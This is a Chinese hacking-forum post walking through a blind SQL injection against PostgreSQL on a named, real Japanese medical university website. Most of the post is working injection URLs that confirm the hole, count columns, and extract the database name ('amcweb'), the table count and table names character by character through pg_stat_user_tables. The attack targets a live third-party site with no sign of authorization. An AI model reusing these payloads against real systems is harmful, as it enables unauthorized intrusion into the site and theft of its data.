查看: 9689|回复: 0

一次postgresql的盲注

[复制链接]
发表于 2013-11-25 17:44:50 | 显示全部楼层 |阅读模式
本帖最后由 王珂 于 2013-11-25 17:47 编辑

对postgresql注入很是陌生、、、、、

今天群里有人发了一个注入点,恰好就是这个,一点思路都没有,只好求助百度大神,
还真给我找到了,接下来是我的一点经验

注入点:
[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278


然后:
[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278


and 1 =1 正常

and 1 = 2错误

然后爆字段

[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278


order by 37 正确

order by 38 错误

判断数据库的长度:

[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20length(current_database()))%20between%200%20and%2030


正常,

说明数据库长度在0到30之间,我们慢慢减小间距,最后确定数据库长度为6,接下来我们看看数据库名是什么

[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20ascii(substr(current_database(),1,1)))%20between%200%20and%2064
错误

,说明第一个字段不再0到64之间,

[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20ascii(substr(current_database(),1,1)))%20between%200%264and%20100

正确,说明在64到一百之间,我们慢慢缩小间距,最后确定第一个字段的ASCll为97,接下来第二个



[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20ascii(substr(current_database(),2,1)))%20between%20109and%20109

一直下去我们就可以将数据库名猜出来了:amcweb

然后呢,我们就来看看里面有多少个表吧

[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20count(*)%20from%20pg_stat_user_tables)%20between%200%20and%2010

正确

[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20count(*)%20from%20pg_stat_user_tables)%20between%206%20and%206

正确

说明有6个表,那么我们来看看表的长度是多少

[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and

%20(select%20length(relname)%20from%20pg_stat_user_tables%20limit%201%20

OFFSET%200)%20between%200%20and%20128


正确

这句话的意思看看第一个表的长度是多少

[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and

%20(select%20length(relname)%20from%20pg_stat_user_tables%20limit%201%20OFFSET%200)

%20between%2011%20and%2011


这两句说明第一个表的长度为:11

我们接下来看看第一个表的内容是什么、、

[AppleScript] 纯文本查看 复制代码
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%2

0(select%20ascii(substr(relname,1,1))%20from%20pg_stat_user_tables%20limit%201%20OFFSET%200)%

20between%2099%20and%2099

这是第一个,这样一个一个下去,我们就可以猜到表名了
太费劲了,就没弄完……

评分

参与人数 1i币 +10 收起 理由
90_ + 10

查看全部评分

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-9 10:24 , Processed in 0.034926 second(s), 12 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部